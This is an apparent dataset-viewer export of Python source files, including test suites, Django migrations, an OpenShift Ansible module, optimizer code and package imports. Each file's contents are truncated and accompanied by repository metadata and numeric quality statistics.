] | null | null | null | src/sandbox/runner_errors.py | ospiper/Sandbox-Runner | d6a463fa7744ea2a88553eef197b6f8a9f4d91f0 | [
"MIT"
] | null | null | null | class RunnerException(Exception):
def __init__(self, message=''):
super().__init__()
self.message = message
class ArgumentError(RunnerException):
def __str__(self):
return 'ArgumentError: %s' % self.message
| 24.1 | 49 | 0.6639 | 23 | 241 | 6.434783 | 0.521739 | 0.222973 | 0.202703 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.215768 | 241 | 9 | 50 | 26.777778 | 0.783069 | 0 | 0 | 0 | 0 | 0 | 0.070539 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.142857 | 0.714286 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
60bdc6d0dea391a60f80b69d77ada0b2711b82c6 | 3,825 | py | Python | tests/transforms/standard_test.py | Tennessee-Wallaceh/nflows | ac0bf432fc7904458a933ed14180f0ac26e3f93d | [
"MIT"
] | 522 | 2020-02-26T16:51:51.000Z | 2022-03-31T15:38:48.000Z | tests/transforms/standard_test.py | Tennessee-Wallaceh/nflows | ac0bf432fc7904458a933ed14180f0ac26e3f93d | [
"MIT"
] | 47 | 2020-03-24T18:36:59.000Z | 2022-03-25T09:47:18.000Z | tests/transforms/standard_test.py | Tennessee-Wallaceh/nflows | ac0bf432fc7904458a933ed14180f0ac26e3f93d | [
"MIT"
] | 77 | 2020-03-21T21:00:44.000Z | 2022-03-31T00:41:51.000Z | """Tests for the standard transforms."""
import unittest
import numpy as np
import torch
from nflows.transforms import standard
from tests.transforms.transform_test import TransformTest
class IdentityTransformTest(TransformTest):
def test_forward(self):
batch_size = 10
shape = [2, 3, 4]
... | 37.135922 | 88 | 0.627451 | 469 | 3,825 | 4.910448 | 0.130064 | 0.093791 | 0.06079 | 0.062527 | 0.899262 | 0.899262 | 0.887972 | 0.887972 | 0.817629 | 0.807208 | 0 | 0.030594 | 0.265098 | 3,825 | 102 | 89 | 37.5 | 0.788687 | 0.008889 | 0 | 0.743902 | 0 | 0 | 0.002114 | 0 | 0 | 0 | 0 | 0 | 0.219512 | 1 | 0.109756 | false | 0 | 0.060976 | 0 | 0.195122 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7150e5caa533bc0178550dd34a75f1d589d55718 | 68 | py | Python | recognizer/networks/__init__.py | hemanth346/number-recognizer | 9a3354fd4c2b1d5746f3c09b7fbc83ca75239b6a | [
"Apache-2.0"
] | null | null | null | recognizer/networks/__init__.py | hemanth346/number-recognizer | 9a3354fd4c2b1d5746f3c09b7fbc83ca75239b6a | [
"Apache-2.0"
] | null | null | null | recognizer/networks/__init__.py | hemanth346/number-recognizer | 9a3354fd4c2b1d5746f3c09b7fbc83ca75239b6a | [
"Apache-2.0"
] | null | null | null | from .cnn_7k import Net as cnn7k
from .cnn_13k import Net as cnn14k
| 22.666667 | 34 | 0.794118 | 14 | 68 | 3.714286 | 0.642857 | 0.269231 | 0.423077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 0.176471 | 68 | 2 | 35 | 34 | 0.821429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
718513f97667021c9b49798c95ccbd4592506a2b | 4,094 | py | Python | src/test/parser/template/graph/test_get.py | hiitsme123/python | e08309fe61fd5ed88cfb39e9f402613dd7e39269 | [
"MIT"
] | 5 | 2017-02-03T07:38:45.000Z | 2022-01-06T11:29:29.000Z | src/test/parser/template/graph/test_get.py | hiitsme123/python | e08309fe61fd5ed88cfb39e9f402613dd7e39269 | [
"MIT"
] | 8 | 2017-02-03T06:59:03.000Z | 2017-04-28T14:23:46.000Z | src/test/parser/template/graph/test_get.py | hiitsme123/python | e08309fe61fd5ed88cfb39e9f402613dd7e39269 | [
"MIT"
] | 8 | 2017-02-02T15:12:12.000Z | 2017-04-02T13:35:03.000Z | import unittest
import xml.etree.ElementTree as ET
from programy.parser.template.nodes.base import TemplateNode
from programy.parser.template.nodes.get import TemplateGetNode
from test.parser.template.graph.test_graph_client import TemplateGraphTestClient
class TemplateGraphGetTests(TemplateGraphTestClient):
d... | 35.912281 | 80 | 0.691988 | 450 | 4,094 | 6.115556 | 0.126667 | 0.089026 | 0.059956 | 0.094477 | 0.886628 | 0.852471 | 0.852471 | 0.84048 | 0.763445 | 0.732558 | 0 | 0.003053 | 0.199805 | 4,094 | 113 | 81 | 36.230089 | 0.836996 | 0 | 0 | 0.785714 | 0 | 0 | 0.097215 | 0.007084 | 0 | 0 | 0 | 0 | 0.510204 | 1 | 0.05102 | false | 0 | 0.05102 | 0 | 0.112245 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e085a42cbb4998c61c57958928bd8d5393f9bdd0 | 7,255 | py | Python | pykitml/optimizers.py | RainingComputers/pykitml | 1c3e50cebcdb6c4da63979ef9a812b44d23a4857 | [
"MIT"
] | 34 | 2020-03-06T07:53:43.000Z | 2022-03-13T06:12:29.000Z | pykitml/optimizers.py | RainingComputers/pykitml | 1c3e50cebcdb6c4da63979ef9a812b44d23a4857 | [
"MIT"
] | 6 | 2021-06-08T22:43:23.000Z | 2022-03-08T13:57:33.000Z | pykitml/optimizers.py | RainingComputers/pykitml | 1c3e50cebcdb6c4da63979ef9a812b44d23a4857 | [
"MIT"
] | 1 | 2020-11-30T21:20:32.000Z | 2020-11-30T21:20:32.000Z | from abc import ABC, abstractmethod
import numpy as np
'''
Optimizers module,
REF: http://cs231n.github.io/neural-networks-3/
'''
class Optimizer(ABC):
'''
This class is the base class for all optimizers
'''
@abstractmethod
def _optimize(self, parameter, parameter_gradient):
pass
@pr... | 26.97026 | 93 | 0.609786 | 809 | 7,255 | 5.127318 | 0.103832 | 0.159113 | 0.142719 | 0.072324 | 0.795805 | 0.778447 | 0.751205 | 0.738428 | 0.738428 | 0.724687 | 0 | 0.014023 | 0.302136 | 7,255 | 268 | 94 | 27.070896 | 0.805254 | 0.215851 | 0 | 0.810606 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.265152 | false | 0.030303 | 0.015152 | 0.098485 | 0.469697 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e0945cb2990e92af8549ceb800820bbd6325efbe | 11,989 | py | Python | src/AE_academico/migrations/0001_initial.py | furthz/Colegio | 573e9e4006c0d1cd33190b53da5988fdc0c9ca4c | [
"MIT"
] | 2 | 2017-09-26T14:15:43.000Z | 2018-03-19T01:03:28.000Z | src/AE_academico/migrations/0001_initial.py | furthz/Colegio | 573e9e4006c0d1cd33190b53da5988fdc0c9ca4c | [
"MIT"
] | 1 | 2017-10-21T22:30:39.000Z | 2017-10-21T22:30:39.000Z | src/AE_academico/migrations/0001_initial.py | furthz/Colegio | 573e9e4006c0d1cd33190b53da5988fdc0c9ca4c | [
"MIT"
] | 9 | 2017-07-22T16:13:29.000Z | 2020-11-12T21:03:36.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-07-22 20:08
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
... | 46.649805 | 127 | 0.535658 | 1,042 | 11,989 | 5.963532 | 0.107486 | 0.082073 | 0.098487 | 0.131316 | 0.825394 | 0.781783 | 0.762472 | 0.762472 | 0.747345 | 0.740264 | 0 | 0.012563 | 0.316123 | 11,989 | 256 | 128 | 46.832031 | 0.745335 | 0.060556 | 0 | 0.688679 | 1 | 0 | 0.194766 | 0.006587 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.018868 | 0 | 0.037736 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1c08b0c28ae17c5c9a349c6f727086a9b3709c9e | 139 | py | Python | property_bag/__init__.py | cbigler/python-property-bag | a877fda91c88731405415e936dd26c6677ee897f | [
"MIT"
] | null | null | null | property_bag/__init__.py | cbigler/python-property-bag | a877fda91c88731405415e936dd26c6677ee897f | [
"MIT"
] | null | null | null | property_bag/__init__.py | cbigler/python-property-bag | a877fda91c88731405415e936dd26c6677ee897f | [
"MIT"
] | null | null | null | from .property_bag import PropertyBag
from .property_bag_parser import PropertyBagParser
def loads(text: str) -> PropertyBag:
pass
| 15.444444 | 50 | 0.784173 | 17 | 139 | 6.235294 | 0.705882 | 0.226415 | 0.283019 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158273 | 139 | 8 | 51 | 17.375 | 0.905983 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 8 |
1c7d06066a458798285ab12dec2631bdfa22fd13 | 126,121 | py | Python | ansible-container/openshift-deploy/roles/ansible.kubernetes-modules/library/openshift_v1_image_stream_import.py | LeHack/Docker-network-research | 62a57a6d723d8701a6d045a07a5abd2bd844a409 | [
"Beerware"
] | 4 | 2017-06-03T20:46:07.000Z | 2017-12-19T02:15:00.000Z | ansible-container/openshift-deploy/roles/ansible.kubernetes-modules/library/openshift_v1_image_stream_import.py | LeHack/Docker-network-research | 62a57a6d723d8701a6d045a07a5abd2bd844a409 | [
"Beerware"
] | 1 | 2017-06-03T20:32:37.000Z | 2017-06-03T20:32:37.000Z | ansible-container/openshift-deploy/roles/ansible.kubernetes-modules/library/openshift_v1_image_stream_import.py | LeHack/Docker-network-research | 62a57a6d723d8701a6d045a07a5abd2bd844a409 | [
"Beerware"
] | null | null | null | #!/usr/bin/env python
from ansible.module_utils.openshift_common import OpenShiftAnsibleModule, OpenShiftAnsibleException
DOCUMENTATION = '''
module: openshift_v1_image_stream_import
short_description: OpenShift ImageStreamImport
description:
- Manage the lifecycle of a image_stream_import object. Supports check mode... | 52.748223 | 105 | 0.487207 | 12,096 | 126,121 | 5.054729 | 0.058036 | 0.022211 | 0.023306 | 0.013739 | 0.929917 | 0.922884 | 0.914576 | 0.912515 | 0.910045 | 0.906644 | 0 | 0.003041 | 0.486422 | 126,121 | 2,390 | 106 | 52.770293 | 0.940901 | 0.00088 | 0 | 0.737705 | 0 | 0.002102 | 0.996095 | 0.015499 | 0 | 0 | 0.000286 | 0 | 0 | 1 | 0.00042 | false | 0.008827 | 0.022699 | 0 | 0.02438 | 0.000841 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
98e1b675f5e8a4b54170f62d19df182b0bd3f2cc | 56,910 | py | Python | chi/tests/test_error_models.py | Lethay/chi | 2182d8f9d54878b3f27670b157593f5a3bf9df4a | [
"BSD-3-Clause"
] | 2 | 2021-12-09T17:35:36.000Z | 2022-03-17T13:45:06.000Z | chi/tests/test_error_models.py | Lethay/chi | 2182d8f9d54878b3f27670b157593f5a3bf9df4a | [
"BSD-3-Clause"
] | 30 | 2021-07-30T08:55:17.000Z | 2022-03-21T21:55:54.000Z | chi/tests/test_error_models.py | Lethay/chi | 2182d8f9d54878b3f27670b157593f5a3bf9df4a | [
"BSD-3-Clause"
] | 2 | 2021-08-04T15:07:21.000Z | 2021-12-15T11:42:31.000Z | #
# This file is part of the chi repository
# (https://github.com/DavAug/chi/) which is released under the
# BSD 3-clause license. See accompanying LICENSE.md for copyright notice and
# full license details.
#
import unittest
import numpy as np
import chi
class TestConstantAndMultiplicativeGaussianErrorModel(unitt... | 37.367039 | 79 | 0.614426 | 7,122 | 56,910 | 4.718478 | 0.030188 | 0.058325 | 0.071656 | 0.055617 | 0.937271 | 0.904508 | 0.88954 | 0.872281 | 0.857313 | 0.842761 | 0 | 0.0535 | 0.270199 | 56,910 | 1,522 | 80 | 37.39159 | 0.755616 | 0.098401 | 0 | 0.839423 | 0 | 0 | 0.030855 | 0.001254 | 0 | 0 | 0 | 0 | 0.298077 | 1 | 0.061538 | false | 0 | 0.002885 | 0 | 0.070192 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
98ef6584bd95a075dbc92a23dc5f332a334d2483 | 68,627 | py | Python | benchmarks/SimResults/combinations_spec_ml_deepnet/cmp_bwavesgcccactusADMmilc/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/combinations_spec_ml_deepnet/cmp_bwavesgcccactusADMmilc/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/combinations_spec_ml_deepnet/cmp_bwavesgcccactusADMmilc/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate... | 75.084245 | 124 | 0.682151 | 8,083 | 68,627 | 5.785723 | 0.068168 | 0.123509 | 0.112903 | 0.093401 | 0.938289 | 0.929842 | 0.917055 | 0.886841 | 0.862614 | 0.841894 | 0 | 0.132204 | 0.22427 | 68,627 | 914 | 125 | 75.084245 | 0.746262 | 0 | 0 | 0.642232 | 0 | 0 | 0.657239 | 0.048085 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c7f5743783e0f0f03cd0f84a64c0c56f1d88d695 | 110 | py | Python | fintulib/__init__.py | TheDr1ver/fintulib | 8ed45562d1b5452696288d22363691fbe085afd5 | [
"MIT"
] | null | null | null | fintulib/__init__.py | TheDr1ver/fintulib | 8ed45562d1b5452696288d22363691fbe085afd5 | [
"MIT"
] | null | null | null | fintulib/__init__.py | TheDr1ver/fintulib | 8ed45562d1b5452696288d22363691fbe085afd5 | [
"MIT"
] | 1 | 2022-01-27T15:41:14.000Z | 2022-01-27T15:41:14.000Z | from fintulib import common
from fintulib import model
from fintulib import wrangle
from fintulib import cloud | 27.5 | 28 | 0.863636 | 16 | 110 | 5.9375 | 0.4375 | 0.505263 | 0.757895 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136364 | 110 | 4 | 29 | 27.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
1bf9a6fd61a0ee11d2c08aeaea337dbc6f3dd2c1 | 5,160 | py | Python | app/modules/blog_posts/migrations/0004_auto_20200402_1442.py | nickmoreton/nhsx-website | 2397d1308376c02b75323d30e6bc916af0daac9d | [
"MIT"
] | 50 | 2019-04-04T17:50:00.000Z | 2021-08-05T15:08:37.000Z | app/modules/blog_posts/migrations/0004_auto_20200402_1442.py | nickmoreton/nhsx-website | 2397d1308376c02b75323d30e6bc916af0daac9d | [
"MIT"
] | 434 | 2019-04-04T18:25:32.000Z | 2022-03-31T18:23:37.000Z | app/modules/blog_posts/migrations/0004_auto_20200402_1442.py | nhsx-mirror/nhsx-website | 2133b4e275ca35ff77f7d6874e809f139ec4bf86 | [
"MIT"
] | 23 | 2019-04-04T09:52:07.000Z | 2021-04-11T07:41:47.000Z | # Generated by Django 3.0.4 on 2020-04-02 14:42
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
("images", "0001_initial"),
("blog_posts", "0003_auto_20200402_0748"),
]
operations = [
migrations.Ad... | 31.463415 | 72 | 0.479264 | 450 | 5,160 | 5.306667 | 0.144444 | 0.073702 | 0.134841 | 0.158291 | 0.917504 | 0.917504 | 0.917504 | 0.917504 | 0.899497 | 0.899497 | 0 | 0.029452 | 0.427519 | 5,160 | 163 | 73 | 31.656442 | 0.778944 | 0.008721 | 0 | 0.942675 | 1 | 0 | 0.191277 | 0.022101 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.012739 | 0 | 0.031847 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
4019c3402eb782167193c6b0195f2d55db43ef50 | 71 | py | Python | python/eda/eda/components/__init__.py | 32bitmicro/EDA | 476a7f6dda23a494788bfdfaa27dff7082a80d6d | [
"BSD-3-Clause"
] | 1 | 2019-06-05T20:01:19.000Z | 2019-06-05T20:01:19.000Z | python/eda/eda/components/__init__.py | 32bitmicro/EDA | 476a7f6dda23a494788bfdfaa27dff7082a80d6d | [
"BSD-3-Clause"
] | null | null | null | python/eda/eda/components/__init__.py | 32bitmicro/EDA | 476a7f6dda23a494788bfdfaa27dff7082a80d6d | [
"BSD-3-Clause"
] | null | null | null | from eda.components.component import *
from eda.components.ST import *
| 23.666667 | 38 | 0.802817 | 10 | 71 | 5.7 | 0.6 | 0.245614 | 0.596491 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112676 | 71 | 2 | 39 | 35.5 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
40e0664af37796187c6580eb9fe43aca8083e573 | 253 | py | Python | pyVenv/src/InventoryManagement/InvManage/views/__init__.py | thephilosophicaljijutsumaster/InventoryManagement | 7c57fcc435976c39b249106642ee848da2eea201 | [
"MIT"
] | null | null | null | pyVenv/src/InventoryManagement/InvManage/views/__init__.py | thephilosophicaljijutsumaster/InventoryManagement | 7c57fcc435976c39b249106642ee848da2eea201 | [
"MIT"
] | 12 | 2020-07-05T14:30:46.000Z | 2020-08-06T21:06:00.000Z | pyVenv/src/InventoryManagement/InvManage/views/__init__.py | thephilosophicaljijutsumaster/InventoryManagement | 7c57fcc435976c39b249106642ee848da2eea201 | [
"MIT"
] | null | null | null | from .product_views import *
from .goods_receipt_note_views import *
from .purchase_order_views import *
from .company_views import *
from .vendor_views import *
from .consumer_views import *
from .sales_order_views import *
from .history_views import * | 31.625 | 39 | 0.814229 | 36 | 253 | 5.388889 | 0.388889 | 0.453608 | 0.541237 | 0.206186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12253 | 253 | 8 | 40 | 31.625 | 0.873874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
40f89acae399f79fe09a8934146f64e3372a93a8 | 180 | py | Python | src/ehrlich_aberth_jax/__init__.py | fbartolic/extending-jax | d15fcbca5b8facc074c4ee4fa789351ffca2fac2 | [
"MIT"
] | null | null | null | src/ehrlich_aberth_jax/__init__.py | fbartolic/extending-jax | d15fcbca5b8facc074c4ee4fa789351ffca2fac2 | [
"MIT"
] | null | null | null | src/ehrlich_aberth_jax/__init__.py | fbartolic/extending-jax | d15fcbca5b8facc074c4ee4fa789351ffca2fac2 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
__all__ = ["__version__", "ehrlich_aberth"]
from .ehrlich_aberth_jax import ehrlich_aberth
from .ehrlich_aberth_jax_version import version as __version__
| 25.714286 | 62 | 0.777778 | 23 | 180 | 5.26087 | 0.478261 | 0.429752 | 0.280992 | 0.396694 | 0.545455 | 0.545455 | 0 | 0 | 0 | 0 | 0 | 0.006289 | 0.116667 | 180 | 6 | 63 | 30 | 0.754717 | 0.116667 | 0 | 0 | 0 | 0 | 0.159236 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
9056c6f1ee0e05497d0ffb4a0fa76c4c363725f8 | 27,008 | py | Python | tradenity/resources/state.py | tradenity/python-sdk | d13fbe23f4d6ff22554c6d8d2deaf209371adaf1 | [
"Apache-2.0"
] | 1 | 2020-03-19T04:09:17.000Z | 2020-03-19T04:09:17.000Z | tradenity/resources/state.py | tradenity/python-sdk | d13fbe23f4d6ff22554c6d8d2deaf209371adaf1 | [
"Apache-2.0"
] | null | null | null | tradenity/resources/state.py | tradenity/python-sdk | d13fbe23f4d6ff22554c6d8d2deaf209371adaf1 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Tradenity API
Tradenity eCommerce Rest API
Contact: support@tradenity.com
"""
from __future__ import absolute_import
import re
import pprint
# python 2 and python 3 compatibility library
import six
from tradenity.api_client import ApiClient
class State(object):
swagg... | 31.514586 | 108 | 0.588122 | 3,150 | 27,008 | 4.791111 | 0.060317 | 0.027829 | 0.019679 | 0.028624 | 0.848595 | 0.8152 | 0.802876 | 0.796382 | 0.781407 | 0.781407 | 0 | 0.000488 | 0.316499 | 27,008 | 856 | 109 | 31.551402 | 0.817064 | 0.029991 | 0 | 0.653595 | 0 | 0 | 0.126649 | 0.023972 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.010893 | null | null | 0.004357 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
908ce460d25097704e571633ea64c9b238be4e9f | 2,707 | py | Python | peering/migrations/0072_auto_20210420_2144.py | maznu/peering-manager | d249fcf530f4cc48b39429badb79bc203e0148ba | [
"Apache-2.0"
] | 173 | 2020-08-08T15:38:08.000Z | 2022-03-21T11:35:25.000Z | peering/migrations/0072_auto_20210420_2144.py | maznu/peering-manager | d249fcf530f4cc48b39429badb79bc203e0148ba | [
"Apache-2.0"
] | 247 | 2017-12-26T12:55:34.000Z | 2020-08-08T11:57:35.000Z | peering/migrations/0072_auto_20210420_2144.py | maznu/peering-manager | d249fcf530f4cc48b39429badb79bc203e0148ba | [
"Apache-2.0"
] | 63 | 2017-10-13T06:46:05.000Z | 2020-08-08T00:41:57.000Z | # Generated by Django 3.2 on 2021-04-20 19:44
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("peering", "0071_auto_20210321_1843"),
]
operations = [
migrations.AlterField(
model_name="autonomoussystem",
name="id"... | 32.22619 | 87 | 0.542298 | 238 | 2,707 | 5.987395 | 0.201681 | 0.084211 | 0.175439 | 0.203509 | 0.779649 | 0.779649 | 0.779649 | 0.779649 | 0.779649 | 0.779649 | 0 | 0.017114 | 0.35242 | 2,707 | 83 | 88 | 32.614458 | 0.795779 | 0.015885 | 0 | 0.779221 | 1 | 0 | 0.077385 | 0.01991 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.012987 | 0 | 0.051948 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.